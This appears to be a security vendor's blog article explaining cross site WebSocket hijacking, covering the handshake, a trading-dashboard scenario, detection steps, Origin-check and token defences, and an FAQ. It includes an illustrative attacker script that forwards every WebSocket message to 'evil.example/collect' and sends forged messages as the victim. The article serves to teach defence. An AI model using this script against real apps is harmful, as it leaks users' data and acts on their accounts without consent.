Cross Site WebSocket Hijacking: The CSRF of WebSockets

Cross Site WebSocket Hijacking: The CSRF of WebSockets

Written by

in

You log in to a chat app in one tab. In another tab you open a random page someone sent you. That page quietly opens a WebSocket back to your chat app, your session cookie rides along, and now the attacker’s page is reading your messages in real time. This is cross site WebSocket hijacking, and it works because the WebSocket handshake is an HTTP request that carries your cookies but is not stopped by the Same Origin Policy and usually has no CSRF token. The login was yours. The socket is theirs.

How a WebSocket connection actually starts

A WebSocket does not begin as a raw socket. It begins as a normal HTTP GET request that asks the server to switch protocols. The browser sends an upgrade request, the server agrees, and from that point the same TCP connection carries WebSocket frames instead of HTTP. Here is what the handshake looks like on the wire:

GET /chat/socket HTTP/1.1
Host: app.example.com
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Origin: https://app.example.com
Cookie: session=eyJ1c2VyIjoiYWxpY2UifQ

The two lines that matter are Origin and Cookie. The Origin header says which site asked for the connection. The Cookie header is your session, attached by the browser the same way it attaches cookies to any request to that host. The server reads the cookie, sees a logged in user, and upgrades the connection. If it never checks Origin, it has no idea the request came from a page it does not own.

Why cross site WebSocket hijacking gets past the Same Origin Policy

The Same Origin Policy usually stops one site from reading another site’s data. When a page makes a fetch to a different origin, the browser may send the request, but it will not let the calling page read the response unless CORS headers allow it. That read block protects most cross origin data. If you have seen CORS misconfiguration, you know how careful sites have to be about which origins can read responses.

WebSockets do not play by those rules. The WebSocket constructor is not subject to the Same Origin Policy the way fetch is, so any page can open a WebSocket to any host:

// Runs on https://evil.example, talks to the victim's app
const ws = new WebSocket("wss://app.example.com/chat/socket");

ws.onmessage = (event) => {
  // The attacker's page reads every message the app sends
  fetch("https://evil.example/collect", {
    method: "POST",
    body: event.data
  });
};

ws.onopen = () => {
  // And can send messages as the victim
  ws.send(JSON.stringify({ type: "say", text: "transfer approved" }));
};

Because the browser attaches the victim’s cookie to that handshake, the server treats the connection as the logged in user. And because there is no CORS style read restriction on an open WebSocket, the attacker’s page can read every frame the server sends and write frames back.

Cross site WebSocket hijacking is the CSRF of WebSockets. The browser sends your session, the server trusts it, and the only thing that should have stopped the request, an origin check or a token, was never there.

Why this is the CSRF of WebSockets

If you know CSRF, you know the shape of this bug. In a classic CSRF the attacker’s page makes the browser send a state changing request to a site you are logged in to, and the browser attaches your cookie automatically. The defense is a CSRF token: a secret the attacker cannot read or guess, required on the request.

The WebSocket handshake has the same weakness, and most handshakes have no token at all. CSRF on a form submit is a one way write. Cross site WebSocket hijacking opens a two way channel, so the attacker can both send actions as you and read the replies. It is CSRF plus a live data leak.

A concrete example

Say the app is a trading dashboard. The front end opens wss://trade.example.com/stream to receive live order updates and to place orders, and the server authenticates the socket purely from the session cookie. An attacker sends the user a link to a normal looking page. When it loads, its script opens the same WebSocket URL, the browser sends the user’s cookie, and the server upgrades the connection. Now the attacker’s page receives the live order feed, including balances and positions, and forwards each message to an attacker server. It can also send { "action": "place_order", ... } frames that the server runs as the victim. The user sees nothing: no popup, no redirect, just a page that opened a socket in the background.

How to detect it

You can find this without guesswork. Look at how the handshake is checked, not at what the app does after.

  • Find the WebSocket endpoints. Look for wss:// or ws:// URLs in the front end, and server routes that handle an Upgrade: websocket request.
  • Replay the handshake with a foreign Origin. Resend a working handshake with the cookie kept but Origin changed to https://evil.example. If it still upgrades and you receive authenticated messages, the server is not validating the origin, and a cross origin read is a confirmed finding.
  • Check for a token. See whether the handshake carries any unguessable value the attacker could not get, such as a CSRF token. If the only credential is the cookie, the endpoint is exposed.

How to fix it

No single header is enough on its own, so use more than one of these.

  • Validate the Origin header on the server. During the upgrade, check that Origin is in an allow list of your own domains and reject anything else. The browser sets Origin and a page cannot forge it, so this stops the cross origin handshake. Do not match with a loose substring like endsWith("example.com"), since app.example.com.evil.com would pass.
  • Require a CSRF style token in the handshake. Issue a per session token the attacker’s page cannot read, and require it as a query parameter or first message before the socket is authenticated. This is the same defense that protects forms, applied to the upgrade request.
  • Do not rely on the cookie alone. Authenticate the connection with a per connection token, such as a short lived ticket the client fetches over an authenticated HTTP call and passes when opening the socket. A cookie is sent automatically by the browser. A token in the URL is not, so the cross origin page never has it.
  • Set SameSite on the session cookie. A cookie marked SameSite=Lax or SameSite=Strict is not attached to requests started from another site, which removes the credential the attack depends on. Treat it as an extra layer, not the only one, since cookie behavior varies across setups.

Here is the origin check at the upgrade:

const ALLOWED = new Set(["https://app.example.com"]);

server.on("upgrade", (req, socket, head) => {
  if (!ALLOWED.has(req.headers.origin)) {
    socket.write("HTTP/1.1 403 Forbidden\r\n\r\n");
    socket.destroy();
    return;
  }
  // continue the WebSocket handshake
});

The assumption that breaks

Strip away the frames and one assumption is left. The server assumes a handshake carrying a valid session cookie came from its own front end. That holds only when something proves the origin, an origin check or a token the attacker cannot get. The moment the only credential is a cookie the browser attaches for you, any page can open the socket and speak as you. This is the kind of bug you find by asking what a connection trusts and whether anything outside the app can supply it. An early signal we find encouraging: a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. Reasoning about what a request really proves, rather than matching known bad strings, is what an autonomous researcher that tests assumptions is built to do. Read more on our about page.

Frequently asked questions

What is cross site WebSocket hijacking?

It is an attack where a malicious page opens a WebSocket to an app you are logged in to and speaks as you. The WebSocket handshake is an HTTP upgrade request, so the browser attaches your session cookie to it automatically. If the server authenticates the connection from that cookie alone and does not check the origin, the attacker’s page can read every message the server sends and send messages back as you. It is a two way channel, so it can both leak your data and trigger actions on your account.

Why does the Same Origin Policy not block it?

The Same Origin Policy mainly stops a page from reading a cross origin HTTP response unless CORS allows it. WebSockets are not subject to that read restriction. The WebSocket constructor can open a connection to any host, the browser still attaches the victim’s cookie to the handshake, and once the socket is open the attacker’s page can read and write frames freely. The protection that blocks cross origin reads over HTTP simply is not applied to an open WebSocket.

How is cross site WebSocket hijacking related to CSRF?

It is the same root cause as CSRF. The attacker’s page makes the browser send a cookie carrying request to a site you are logged in to, and the server trusts the cookie. The defense is also the same: a token the attacker cannot read or guess. The difference is that most WebSocket handshakes carry no token at all, and a WebSocket is two way, so the attacker can read the replies as well as send actions. CSRF is a one way write, while this is CSRF plus a live data leak.

How do you prevent cross site WebSocket hijacking?

Use more than one defense. Validate the Origin header on the server during the upgrade against an allow list of your own domains, and reject anything else. Require a CSRF style token or a short lived per connection token in the handshake so the cross origin page cannot supply it, and do not rely on the cookie alone. Mark the session cookie SameSite=Lax or SameSite=Strict so it is not attached to requests started from another site. Avoid loose origin matching like a substring check, since app.example.com.evil.com would pass.